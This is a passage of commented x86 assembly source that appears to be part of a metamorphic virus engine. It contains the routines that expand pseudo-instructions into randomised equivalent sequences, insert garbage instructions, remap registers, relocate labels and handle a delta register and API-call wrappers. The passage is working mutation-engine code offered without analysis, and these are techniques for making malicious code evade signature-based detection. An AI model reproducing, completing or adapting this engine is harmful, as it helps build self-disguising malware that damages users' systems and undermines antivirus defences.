call Xpand_TranslateRegister ; corresponding field
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg ; Generate a PUSH Reg
jmp @@Ret
@@Xpand_Next003:
cmp eax, 51h ; PUSH Mem?
jnz @@Xpand_Next004
call Xpand_SetMemoryAddress ; Then, set the memory address
xor eax, eax ; (with index translation),
mov [ebp+Xp_8Bits], eax ; clear the "8 bits" flag and
call Xp_GenPUSHMem ; generate the PUSH Mem.
jmp @@Ret
@@Xpand_Next004:
cmp eax, 58h ; POP Reg?
jnz @@Xpand_Next005
mov eax, [esi+1] ; Translate the register, set
and eax, 0FFh ; it into the working field
call Xpand_TranslateRegister ; and generate a POP Reg
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
jmp @@Ret
@@Xpand_Next005:
cmp eax, 59h ; POP Mem?
jnz @@Xpand_Next006
call Xpand_SetMemoryAddress ; Then, copy the memory address
xor eax, eax ; with index translation, clear
mov [ebp+Xp_8Bits], eax ; the "8 bits" flag and call
call Xp_GenPOPMem ; the function to generate a
jmp @@Ret ; POP Mem.
@@Xpand_Next006:
cmp eax, 68h ; PUSH Imm?
jnz @@Xpand_Next007
mov eax, [esi+7] ; Set the immediate
mov [ebp+Xp_Immediate], eax
call Xp_GenPUSHImm ; Generate a PUSH Imm
jmp @@Ret
@@Xpand_Next007:
cmp eax, 70h ; Jcc?
jb @@Xpand_Next008
cmp eax, 7Fh
ja @@Xpand_Next008
mov [ebp+Xp_Operation], eax ; Set the type of conditional
mov eax, [esi+1] ; jump in the operation field
mov [ebp+Xp_Immediate], eax ; and the label in the
call Xp_GenJcc ; Imm field, and generate it.
jmp @@Ret
@@Xpand_Next008:
cmp eax, 0E0h ; NOT Reg?
jnz @@Xpand_Next009
call Xpand_SetRegister ; Then, translate and set the
call Xp_GenNOTReg ; 32 bits register and generate
jmp @@Ret ; a NOT Reg
@@Xpand_Next009:
cmp eax, 0E1h ; NOT Mem?
jnz @@Xpand_Next010
call Xpand_SetMemoryAddress ; Then, copy and translate the
xor eax, eax ; memory address and indexes,
mov [ebp+Xp_8Bits], eax ; set "32 bits usage" and
call Xp_GenNOTMem ; generate a NOT Mem
jmp @@Ret
@@Xpand_Next010:
cmp eax, 0E2h ; NOT Reg8?
jnz @@Xpand_Next011
call Xpand_Set8BitsRegister ; Then, translate and set the
call Xp_GenNOTReg ; 8 bits register and generate
jmp @@Ret ; a NOT Reg8
@@Xpand_Next011:
cmp eax, 0E3h ; The same as with E1 (NOT Mem)
jnz @@Xpand_Next012 ; but with 8 bits operands.
call Xpand_SetMemoryAddress
mov eax, 80h
mov [ebp+Xp_8Bits], eax
call Xp_GenNOTMem
jmp @@Ret
@@Xpand_Next012:
cmp eax, 0E4h ; NEG Reg?
jnz @@Xpand_Next013
call Xpand_SetRegister ; Then, translate the register,
call Xp_GenNEGReg ; set it and generate the op.
jmp @@Ret
@@Xpand_Next013:
cmp eax, 0E5h ; NEG Mem?
jnz @@Xpand_Next014
call Xpand_SetMemoryAddress ; Copy the address, translate
xor eax, eax ; the indexes, set "32 bits"
mov [ebp+Xp_8Bits], eax ; flag and generate the instrc.
call Xp_GenNEGMem
jmp @@Ret
@@Xpand_Next014:
cmp eax, 0E6h ; NEG Reg8?
jnz @@Xpand_Next015
call Xpand_Set8BitsRegister ; Then do the same as with
call Xp_GenNEGReg ; E4 (NEG Reg) but with 8 bits
jmp @@Ret ; operands
@@Xpand_Next015:
cmp eax, 0E7h ; NEG Mem8?
jnz @@Xpand_Next016
call Xpand_SetMemoryAddress ; Then do the same as with E5
mov eax, 80h ; (NEG Mem) but with a 8 bits
mov [ebp+Xp_8Bits], eax ; memory address.
call Xp_GenNEGMem
jmp @@Ret
@@Xpand_Next016:
cmp eax, 0E8h ; CALL @xxx?
jnz @@Xpand_Next017
@@CopyInstruction:
mov eax, [esi] ; Then copy the instruction.
mov [edi], eax ; It's one of the very few that
mov eax, [esi+4] ; haven't a translation.
mov [edi+4], eax
mov eax, [esi+7]
mov [edi+7], eax
add edi, 10h
jmp @@Ret
@@Xpand_Next017:
cmp eax, 0E9h ; JMP @xxx?
jnz @@Xpand_Next018
mov eax, [esi+1] ; Get the label, set it in the
mov [ebp+Xp_Immediate], eax ; work field and generate the
call Xp_GenJMP ; JMP instruction.
jmp @@Ret
@@Xpand_Next018:
cmp eax, 0EAh ; CALL Mem?
jnz @@Xpand_Next019
xor eax, eax ; Set "32 bits" usage
mov [ebp+Xp_8Bits], eax
call Xpand_SetMemoryAddress ; Translate indexes and copy
; the operands
call Xp_GenCALLMem ; Generate a CALL Mem
jmp @@Ret
@@Xpand_Next019:
cmp eax, 0EBh ; JMP Mem?
jnz @@Xpand_Next020
xor eax, eax
mov [ebp+Xp_8Bits], eax ; Set "32 bits"
call Xpand_SetMemoryAddress ; Translate and set the memory
call Xp_GenJMPMem ; address and generate the JMP
jmp @@Ret
@@Xpand_Next020:
cmp eax, 0ECh ; CALL Reg?
jnz @@Xpand_Next021
xor eax, eax ; Set "32 bits"
mov [ebp+Xp_8Bits], eax
call Xpand_SetRegister ; Translate and set the register
call Xp_GenCALLReg ; Generate the CALL Reg
jmp @@Ret
@@Xpand_Next021:
cmp eax, 0EDh ; JMP Reg?
jnz @@Xpand_Next022
xor eax, eax ; Set "32 bits"
mov [ebp+Xp_8Bits], eax
call Xpand_SetRegister ; Translate and set the register
call Xp_GenJMPReg ; Generate the JMP Reg
jmp @@Ret
@@Xpand_Next022:
cmp eax, 0F0h ; SHIFT Reg?
jnz @@Xpand_Next023
@@Xpand_TranslateReg:
mov eax, [esi+1] ; Translate the register
and eax, 0FFh
call Xpand_TranslateRegister
mov [esi+1], eax ; Set the register
jmp @@CopyInstruction ; Copy the instruction
@@Xpand_Next023:
cmp eax, 0F2h ; SHIFT Reg8?
jz @@Xpand_TranslateReg ; Then jump to translate et all
@@Xpand_Next024:
cmp eax, 0F1h ; SHIFT Mem?
jnz @@Xpand_Next025
@@Xpand_TranslateMem:
call Xpand_SetMemoryAddress ; Translate the memory address
mov eax, [esi] ; and copy the instruction
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [esi+7]
mov [edi+7], eax
add edi, 10h
jmp @@Ret
@@Xpand_Next025:
cmp eax, 0F3h ; SHIFT Mem8?
jz @@Xpand_TranslateMem ; Then do the same as with Mem32
@@Xpand_Next026:
cmp eax, 0F4h ; APICALL_BEGIN?
jnz @@Xpand_Next027
xor eax, eax ; Set "32 bits"
mov [ebp+Xp_8Bits], eax
mov [ebp+Xp_Register], eax ; Generate a PUSH EAX
call Xp_GenPUSHReg
mov eax, 1
mov [ebp+Xp_Register], eax ; Generate a PUSH ECX
call Xp_GenPUSHReg
mov eax, 2
mov [ebp+Xp_Register], eax ; Generate a PUSH EDX
call Xp_GenPUSHReg
jmp @@Ret
@@Xpand_Next027:
cmp eax, 0F5h ; APICALL_END?
jnz @@Xpand_Next028
xor eax, eax ; Set "32 bits"
mov [ebp+Xp_8Bits], eax
mov eax, 2
mov [ebp+Xp_Register], eax ; Generate a POP EDX
call Xp_GenPOPReg
mov eax, 1
mov [ebp+Xp_Register], eax ; Generate a POP ECX
call Xp_GenPOPReg
xor eax, eax
mov [ebp+Xp_Register], eax ; Generate a POP EAX
call Xp_GenPOPReg
jmp @@Ret
@@Xpand_Next028:
cmp eax, 0F6h ; APICALL_STORE?
jnz @@Xpand_Next029_
xor eax, eax
mov [ebp+Xp_Register], eax ; Set EAX as destiny register
call Xpand_SetMemoryAddress ; Translate the memory address
mov eax, 40h ; Set a MOV instruction
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax ; Set "32 bits" usage
call Xp_GenOPMemReg ; Generate a MOV Reg,[Mem]
jmp @@Ret
@@Xpand_Next029_:
cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
jnz @@Xpand_Next029
mov eax, [esi+7] ; Translate the register
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xpand_SetMemoryAddress ; Translate and copy the mem.
call Xp_GenMOVZX ; address and generate a MOVZX
jmp @@Ret
@@Xpand_Next029:
cmp eax, 0FCh ; LEA?
jnz @@Xpand_Next030
call Xpand_SetMemoryAddress ; Then translate and copy the
mov eax, [esi+7] ; memory address, do the same
and eax, 0FFh ; with the destiny register,
call Xpand_TranslateRegister ; set "32 bits" register and
mov [ebp+Xp_Register], eax ; generate the LEA,
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenLEA
jmp @@Ret
@@Xpand_Next030:
cmp eax, 0FEh ; RET?
jnz @@Xpand_Next031
call Xp_GenRET ; Then generate a RET
jmp @@Ret
@@Xpand_Next031:
cmp eax, 0FFh ; NOP?
jz @@Return ; Then avoid it
@@Xpand_Next032:
cmp eax, 0F7h ; SET_WEIGHT?
jnz @@Xpand_Next033
call Xpand_SetMemoryAddress
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov eax, [esi+7]
and eax, 0FFh
mov [ebp+Xp_Immediate], eax
mov eax, [esi+8]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
mov eax, [esi+9]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_SrcRegister], eax
call Xp_MakeSET_WEIGHT
; jmp @@Ret
@@Xpand_Next033:
@@Ret: call Random ; Get a random chance of 1/16
and eax, 0Fh
or eax, eax
jnz @@Return
mov eax, [esi] ; If we get it, let's code garbage
and eax, 78h
cmp eax, 38h ; If the instruction immediately
jz @@OnlyNOP ; above is CMP, TEST, CALL Mem or
cmp eax, 48h ; APICALL_STORE, then code only
jz @@OnlyNOP ; NOP (FD 90, insert byte 90)
cmp eax, 0EAh
jz @@OnlyNOP
cmp eax, 0F6h
jz @@OnlyNOP
call Xp_InsertGarbage ; Insert some garbage
@@Return: ret
@@OnlyNOP: mov eax, 90FDh
mov [edi], eax ; Set a NOP
xor eax, eax
mov [edi+0Bh], eax
mov [edi+0Ch], esi ; Set the new pointer
add edi, 10h
ret
XpandThisInstruction endp
;; This function gets the labels at the label table and translates them to
;; their new address, using the updated instruction pointers at field +0C on
;; the instruction itself. As we can see, the translation is trivial with
;; this system.
Xpand_UpdateLabels proc
mov ebx, [ebp+LabelTable] ; Get the label table address
mov ecx, [ebp+NumberOfLabels] ; Get the number of labels
@@LoopLabel: mov eax, [ebx] ; Get the address of the old instrc.
mov eax, [eax+0Ch] ; Get the pointer to the new one
mov [ebx+4], eax ; Set it as the new label pointer
add ebx, 8 ; Next label
sub ecx, 1
or ecx, ecx ; Repeat it for all labels
jnz @@LoopLabel
ret
Xpand_UpdateLabels endp
;; This function gets the indexes, translates them to their new register
;; equivalent and set them and the addition into their corresponding working
;; fields. If a memory address is an identificator of a data variable (09h as
;; first index) then the identificator is translated looking at the
;; table of variable identificators and set up, completing it with the new
;; Delta Register.
Xpand_SetMemoryAddress proc
mov eax, [esi+1] ; Get the register
and eax, 0FFh
cmp eax, 9 ; Is it a variable identificator?
jnz @@Next_NoIdent ; If not, act normally
mov eax, [esi+3] ; Get the identificator
mov eax, [eax] ; Get the new variable address and
add eax, [ebp+New_DATA_SECTION] ; transform it to an
; offset to add to Delta Register
mov [ebp+Xp_Mem_Addition], eax ; Set it
mov eax, [ebp+DeltaRegister]
call Xpand_TranslateRegister
mov [ebp+Xp_Mem_Index1], eax ; Set the new Delta
mov eax, 8
mov [ebp+Xp_Mem_Index2], eax ; Set Index2 as <no_reg>
ret ; Return
@@Next_NoIdent:
mov eax, [esi+1] ; Get the first index
and eax, 0FFh
cmp eax, 8 ; Is there a register?
jae @@Next_Index ; If not, process next index
call Xpand_TranslateRegister ; Translate the register
@@Next_Index:
mov [ebp+Xp_Mem_Index1], eax ; Set the register
mov eax, [esi+2]
mov ecx, eax ; Save the multiplicator in ECX
and ecx, 0C0h
and eax, 3Fh
cmp eax, 8 ; Get the register in EAX
jae @@Next_Index2 ; If it's not a register, jump
push ecx
call Xpand_TranslateRegister
pop ecx ; Translate the register and set
or eax, ecx ; again the multiplicator
@@Next_Index2:
mov [ebp+Xp_Mem_Index2], eax ; Set the 2nd index
mov eax, [esi+3] ; Set the dword addition
mov [ebp+Xp_Mem_Addition], eax
call RandomBoolean ; Randomly select if we exchange
or eax, eax ; the index registers
jz @@Return
or ecx, ecx ; The multiplicator is 0?
jnz @@Return ; If not, don't exchange
mov eax, [ebp+Xp_Mem_Index1] ; Exchange them if we can
mov ecx, [ebp+Xp_Mem_Index2]
mov [ebp+Xp_Mem_Index1], ecx
mov [ebp+Xp_Mem_Index2], eax
@@Return: ret ; Return
Xpand_SetMemoryAddress endp
Xpand_Set8BitsRegister proc
mov eax, 80h ; Set "8 bits" register
jmp Xpand_SetRegister_Common
Xpand_Set8BitsRegister endp
Xpand_SetRegister proc
xor eax, eax ; Set "32 bits" register
Xpand_SetRegister_Common:
mov [ebp+Xp_8Bits], eax ; Set the number-of-bits flag
mov eax, [esi+1]
and eax, 0FFh ; Get the register at +1 in the
call Xpand_TranslateRegister ; instruction, translate it
mov [ebp+Xp_Register], eax ; and set the register
ret
Xpand_SetRegister endp
;;;;;
;;;; Instruction generation functions
;;;;;
;; Generate an OP Reg,Imm
Xp_GenOPRegImm proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single ; If 3 (maximum), don't recurse
call RandomBoolean ; Select randomly the shape of the
or eax, eax ; expansion
jz @@Single
call Random
and eax, 3
or eax, eax
jnz @@Double
;; mov Mem,Reg
;; OP Mem,Imm
;; mov Reg,Mem
@@Triple: mov eax, [ebp+Xp_Operation]
cmp eax, 38h ; CMP?
jz @@Double ; Then make double (flags can be
; affected with this type of triplets
cmp eax, 48h ; TEST?
jz @@Double ; The same as with CMP
cmp eax, 40h ; MOV?
jz @@Double ; Then, the same, to avoid problems
; with the shrinking
call Xp_SaveOperation ; Save the current op. and values
call Xp_GetTempVar ; Allocate a temporary variable
mov eax, [ebp+Xp_Operation] ; Set MOV operation (saving
push eax ; the last one)
mov eax, 40h
mov [ebp+Xp_Operation], eax
call RandomBoolean ; Select randomly if we make:
or eax, eax ; MOV Mem,Reg
jz @@Triple_1 ; OP Mem,Imm
call Xp_GenOPMemReg ; MOV Reg,Mem
pop eax ; or
mov [ebp+Xp_Operation], eax ; MOV Mem,Imm
call Xp_GenOPMemImm ; OP Mem,Reg
@@Triple_Common: ; MOV Reg,Mem
mov eax, 40h ; The only problem that we
mov [ebp+Xp_Operation], eax ; can have is with the op.
call Xp_GenOPRegMem ; SUB Reg,Imm, but since we
jmp Xp_RestoreOpAndDecreaseRecurseLevel ; have substituted
; that operation in the
@@Triple_1: call Xp_GenOPMemImm ; shrinking by ADD Reg,-Imm,
pop eax ; we have no problem with
mov [ebp+Xp_Operation], eax ; the instruction.
call Xp_GenOPMemReg
jmp @@Triple_Common
;; MOV Mem,Imm
;; OP Reg,Mem
@@Double: mov eax, [ebp+Xp_Operation] ; Get the operation
cmp eax, 40h ; MOV?
jz @@Double_MOV ; Then make MOV-specific
cmp eax, 38h ; CMP?
jz @@Double_CMP ; Then, CMP-specific
cmp eax, 48h ; TEST?
jz @@Double_TEST ; Then, TEST-specific
@@Double_OP: call RandomBoolean
or eax, eax ; Random TRUE/FALSE
jz @@Double_OP_Composed ; If FALSE, make a composed op.
@@Double_OP_Normal:
call Xp_SaveOperation ; Save the operation
call Xp_GetTempVar ; Allocate a temporary var.
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h ; Set MOV operation
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemImm ; Make OP Mem,Imm
pop eax ; Restore the operation
mov [ebp+Xp_Operation], eax
cmp eax, 38h ; If CMP, make it direct
jz @@Double_OP_Normal_Direct ; (avoid the recursion)
cmp eax, 48h ; If TEST, make it direct
jz @@Double_OP_Normal_Direct ; (avoid the recursion)
call Xp_GenOPRegMem ; Make OP Reg,Mem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_OP_Normal_Direct:
add eax, 2 ; Convert the opcode to
add eax, [ebp+Xp_8Bits] ; OP Reg,Mem, set the size
mov [edi], eax ; of the operation in the
call Xp_CopyMemoryReference ; opcode (8 or 32 bits),
mov eax, [ebp+Xp_Register] ; copy the memory reference
mov [edi+7], eax ; and set the register in
add edi, 10h ; the +7 position (where it
jmp Xp_RestoreOpAndDecreaseRecurseLevel ; must be).
@@Double_OP_Composed:
mov eax, [ebp+Xp_FlagRegOrMem] ; Save the previous value
push eax ; here
xor eax, eax ; Set "Register usage"
mov [ebp+Xp_FlagRegOrMem], eax
call Xp_MakeComposedOPImm ; Make the composed op.
pop ebx ; Restore the value of this
mov [ebp+Xp_FlagRegOrMem], ebx ; flag
or eax, eax ; Check if we could make the
jnz @@Double_OP_Normal ; composed operation. If
jmp Xp_DecreaseRecurseLevel ; not, make it normal.
@@Double_MOV:
call RandomBoolean ; Decide randomly if we make a
or eax, eax ; normal double-OP.
jz @@Double_OP
mov eax, [ebp+Xp_8Bits] ; Get it we use 8 or 32 bits
or eax, eax
jnz @@Double_OP ; If 8 bits, make a normal OP
call Xp_GenPUSHImm ; Generate PUSH Imm
call Xp_GenPOPReg ; Generate a POP Reg
jmp Xp_DecreaseRecurseLevel
@@Double_CMP:
call RandomBoolean
or eax, eax ; Make a normal OP if we get
jz @@Double_OP ; TRUE randomly
mov edx, 38h+4 ; Select the opcodes to use with
mov ecx, 28h+4 ; CMP: CMP and SUB
jmp @@Double_OP_CMPTEST_Common
@@Double_TEST:
call RandomBoolean
or eax, eax
jz @@Double_OP
mov edx, 48h+4 ; Select the opcodes to use with
mov ecx, 20h+4 ; TEST: TEST and AND
@@Double_OP_CMPTEST_Common:
call Xp_SaveOperation ; Save the current operation
push edx
push ecx
call Xp_GetTempVar ; Allocate a temporary variable
mov eax, 40h ; Make a MOV TempVar,Reg
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg
pop ecx
pop edx
call RandomBoolean ; Select randomly the opcode
or eax, eax ; stored in ECX or EDX
jz @@Double_OP_CMPTEST_Next
mov edx, ecx
@@Double_OP_CMPTEST_Next:
add edx, [ebp+Xp_8Bits] ; Set the size of the operation
mov [edi], edx ; in the opcode and store it
call Xp_CopyMemoryReference ; blah, blah, blah...
mov eax, [ebp+Xp_Immediate] ; Here we have done:
mov [edi+7], eax ; CMP/SUB/TEST/AND TempVar,Imm
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_Operation] ; Get the operation
cmp eax, 40h ; MOV?
jz @@Single_MOV
cmp eax, 38h ; CMP?
jz @@Single_CMP
cmp eax, 30h ; XOR?
jz @@Single_XOR
or eax, eax ; ADD?
jz @@Single_ADD
@@Single_OP: mov eax, [ebp+Xp_Operation] ; Construct the instruction
add eax, [ebp+Xp_8Bits] ; with the operation, size
mov [edi], eax ; of operands, destiny reg.
mov eax, [ebp+Xp_Register] ; and immediate value.
mov [edi+1], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
; Here we are going to make MOV Reg,Imm in a single instruction
@@Single_MOV:
mov eax, [ebp+Xp_Immediate] ; Get the immediate value
or eax, eax ; Is it 0?
jz @@Single_MOV_0 ; Then, jump
@@Single_OP_MOV:
call Random ; Select LEA making with a
and eax, 3 ; probability of 25%
or eax, eax
jnz @@Single_OP
mov eax, [ebp+Xp_8Bits] ; 8 bits operand size?
or eax, eax
jnz @@Single_OP ; Then, we can't use LEA
mov eax, 000808FCh ; Make LEA Reg,[Imm]
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_MOV_0: ; Select to make LEA with 0
call Random ; (or other) with a probability
and eax, 3 ; of 25% (or normal MOV)
or eax, eax
jz @@Single_OP_MOV
cmp eax, 1 ; Prob. of 25% of making XOR
jz @@Single_MOV_0_XOR
cmp eax, 2 ; Prob. of 25% of making SUB
jz @@Single_MOV_0_SUB
@@Single_MOV_0_AND: ; Prob. of 25% of making AND
call Xp_SaveOperation
mov eax, 20h ; AND Reg,0
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single_MOV_0_XOR:
add eax, 9 ; 1, +9 = Ah, +26h = 30h: XOR
@@Single_MOV_0_SUB:
add eax, 26h ; 2, +26h = 28h: SUB
mov ecx, eax
call Xp_SaveOperation ; Save the current operation
mov [ebp+Xp_Operation], ecx ; Set the new operation
mov eax, [ebp+Xp_Register] ; Set source and destiny
mov [ebp+Xp_SrcRegister], eax ; register as the same
call Xp_GenOPRegReg ; Gen XOR/SUB Reg,Reg
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single_CMP:
mov eax, [ebp+Xp_Immediate] ; Check if the immediate is 0
or eax, eax
jnz @@Single_OP ; If it isn't, make it normal
call Random
and eax, 3
or eax, eax
jz @@Single_OP ; Prob. of 25% of making CMP Reg,0
cmp eax, 1
jz @@Single_CMP_OR ; Prob. of 25% of making OR Reg,Reg
cmp eax, 2
jz @@Single_CMP_AND ; Prob. of 25% of making AND Reg,Reg
@@Single_CMP_TEST: ; Prob. of 25% of making TEST Reg,Reg
add eax, 27h ; 3, +27 = 2A, +17 = 41, +8 = 49h: TEST
@@Single_CMP_AND:
add eax, 17h ; 2, +17 = 19, +8 = 21h: AND
@@Single_CMP_OR:
add eax, 8 ; 1, +8 = 9h: OR
add eax, [ebp+Xp_8Bits]
mov [edi], eax ; Set the size
mov eax, [ebp+Xp_Register] ; Get the register and set it
mov [edi+1], eax ; as source and destiny
mov [edi+7], eax
add edi, 10h ; Increase storage pointer
jmp Xp_DecreaseRecurseLevel
@@Single_XOR: ; If we make XOR Reg,-1 we
mov eax, [ebp+Xp_Immediate] ; can also make NOT Reg
cmp eax, -1
jnz @@Single_OP
call RandomBoolean
or eax, eax
jz @@Single_OP
call Xp_GenNOTReg
jmp Xp_DecreaseRecurseLevel
@@Single_ADD: ; Check the Imm
mov eax, [ebp+Xp_Immediate]
cmp eax, 1 ; ADD Reg,1?
jz @@Single_ADD_NOTNEG
cmp eax, -1 ; ADD Reg,-1?
jz @@Single_ADD_NEGNOT
@@Single_OP_ADD:
call RandomBoolean ; Select randomly TRUE/FALSE
or eax, eax
jz @@Single_OP ; Make normal ADD if FALSE
mov eax, [ebp+Xp_8Bits]
or eax, eax ; If size = 8 bits, don't make
jnz @@Single_OP ; LEA
mov eax, 0FCh ; Make LEA Reg,[Reg+Imm]
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov [edi+7], eax
mov eax, 8
mov [edi+2], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_NOTNEG:
call RandomBoolean ; Select randomly if we do
or eax, eax ; NOT Reg+NEG Reg or INC Reg
jz @@Single_ADD_INC
call RandomBoolean
or eax, eax
jz @@Single_OP_ADD
call Xp_GenNOTReg ; Generate NOT Reg
call Xp_GenNEGReg ; Generate NEG Reg
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_INC:
xor ebx, ebx
@@Single_ADD_INCDEC_Common:
mov eax, [ebp+Xp_8Bits] ; Set INC/DEC Reg. EBX is 0
add eax, 4Eh ; if we decided to do INC, or
mov [edi], eax ; 8 if we decided DEC
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov [edi+7], ebx ; This opcode (4E) is only
add edi, 10h ; used here to tell the
jmp Xp_DecreaseRecurseLevel ; assembler that makes INC/DEC
@@Single_ADD_NEGNOT:
call RandomBoolean
or eax, eax
jz @@Single_ADD_DEC ; Select NEG+NOT or DEC
call RandomBoolean
or eax, eax ; Select randomly to do NOT+NEG
jz @@Single_OP_ADD ; or a normal ADD operation (or
call Xp_GenNEGReg ; maybe LEA)
call Xp_GenNOTReg
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_DEC:
mov ebx, 8 ; Set DEC operation
jmp @@Single_ADD_INCDEC_Common ; Jump to complete the instr.
Xp_GenOPRegImm endp
;; This function generates an OP Reg,Reg from the values in the corresponding
;; fields. Like the previous function, we also look for special cases for
;; some operations (MOV, etc.) to code them with valid alternatives (for
;; example, PUSH Reg+POP Reg2 for MOV, or LEA Reg,[Reg2], etc.).
Xp_GenOPRegReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3 ; Too much deep in recursivity?
jae @@Single ; If so, code a not-recursive instrc.
call RandomBoolean
or eax, eax ; Select randomly the usage of a
jz @@Single ; single instruction
call Random
and eax, 3
or eax, eax ; Pair or triplet?
jnz @@Double ; Jump to make a pair
@@Triple: mov eax, [ebp+Xp_Operation]
cmp eax, 38h ; If CMP, MOV or TEST make a pair
jae @@Double
call Xp_SaveOperation
call Xp_GetTempVar ; Allocate a temporary variable
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h ; Set MOV operation
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg ; Generate a MOV [Mem],Reg
pop eax
mov [ebp+Xp_Operation], eax ; Restore the operation
mov eax, [ebp+Xp_Register]
push eax ; Set the source destiny into
mov eax, [ebp+Xp_SrcRegister] ; the "Register" field
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg ; Generate a OP [Mem],srcReg
pop eax
mov [ebp+Xp_Register], eax ; Restore the destiny reg.
mov eax, 40h
mov [ebp+Xp_Operation], eax ; Set MOV operation
call Xp_GenOPRegMem ; Generate a MOV Reg,[Mem]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double: mov eax, [ebp+Xp_Operation]
cmp eax, 40h ; MOV?
jz @@Double_MOV
cmp eax, 38h ; CMP
jz @@Double_CMP
cmp eax, 48h ; TEST?
jz @@Double_TEST
@@Double_OP: call Xp_SaveOperation
call Xp_GetTempVar ; Allocate a temp. variable
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h ; Set MOV
mov [ebp+Xp_Operation], eax
mov eax, [ebp+Xp_Register]
push eax
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg ; Make a MOV [TempVar],srcReg
pop eax
mov [ebp+Xp_Register], eax ; Restore the destiny register
pop eax
mov [ebp+Xp_Operation], eax ; Restore the operation
call Xp_GenOPRegMem ; Make an OP dstReg,[TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_MOV:
call RandomBoolean
or eax, eax ; Decide randomly if we use
jz @@Double_OP ; the common making
mov eax, [ebp+Xp_8Bits]
or eax, eax ; If the size is 8 bits, make
jnz @@Double_OP ; a common OP
mov eax, [ebp+Xp_Register]
push eax ; Save the register
mov eax, [ebp+Xp_SrcRegister] ; Set the source register as
mov [ebp+Xp_Register], eax ; the destiny
call Xp_GenPUSHReg ; Generate a PUSH srcReg
pop eax
mov [ebp+Xp_Register], eax ; Restore the desstiny reg.
call Xp_GenPOPReg ; Generate a POP dstReg
jmp Xp_DecreaseRecurseLevel
@@Double_CMP:
mov ecx, 3Bh ; ECX = CMP [Mem],Reg
mov edx, 2Bh ; EDX = SUB [Mem],Reg
@@Double_CMPTEST_Common:
call RandomBoolean ; Select if we do a normal OP or
or eax, eax ; this special one
jz @@Double_OP
call Xp_SaveOperation
push ecx
push edx
call Xp_GetTempVar ; Allocate a temporary variable
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg ; Make a MOV [TempVar],dstReg
pop edx
pop ecx
call RandomBoolean ; Now select randomly if we use the
or eax, eax ; contents of ECX (CMP/AND) or
jz @@Double_CMPTEST_Next ; EDX (SUB/TEST)
mov edx, ecx
@@Double_CMPTEST_Next:
add edx, [ebp+Xp_8Bits] ; Set the size into the opcode
mov [edi], edx ; Make directly the instrc.
call Xp_CopyMemoryReference ; (not recursive). This is
mov eax, [ebp+Xp_SrcRegister] ; because the flags must not
mov [edi+7], eax ; be altered after performing
add edi, 10h ; this instruction.
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_TEST:
mov ecx, 23h ; ECX = AND [Mem],Reg
mov edx, 4Bh ; EDX = TEST [Mem],Reg (in
jmp @@Double_CMPTEST_Common ; fact, the same as 4A)
;; Single OP Reg,Reg instruction
@@Single: mov eax, [ebp+Xp_Operation] ; Check the operation
cmp eax, 40h ; MOV?
jz @@Single_MOV
or eax, eax ; ADD?
jz @@Single_ADD
@@Single_OP: mov eax, [ebp+Xp_Operation] ; Get the operation
add eax, 1 ; Make it "OP Reg,Reg"
add eax, [ebp+Xp_8Bits] ; Set the size of operands
mov [edi], eax ; Set the pseudoopcode
mov eax, [ebp+Xp_Register]
mov [edi+7], eax ; Set the destiny register
mov eax, [ebp+Xp_SrcRegister]
mov [edi+1], eax ; Set the source register
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_MOV:
mov eax, [ebp+Xp_8Bits] ; Get the size of the op.
or eax, eax ; If it's 8 bits, make a
jnz @@Single_OP ; normal, generic operation
call RandomBoolean
or eax, eax ; Select randomly if we make
jz @@Single_OP ; this special op or not
mov eax, 0FCh ; Make a LEA Reg,[Reg2]
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
mov eax, [ebp+Xp_SrcRegister]
mov [edi+1], eax
mov eax, 8
mov [edi+2], eax
xor eax, eax
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_ADD:
mov eax, [ebp+Xp_8Bits] ; If 8 bits, we cannot use LEA
or eax, eax
jnz @@Single_OP
call RandomBoolean
or eax, eax
jz @@Single_OP
mov eax, 0FCh ; Make LEA Reg,[Reg+Reg2]
mov [edi], eax
mov eax, [ebp+Xp_Register]
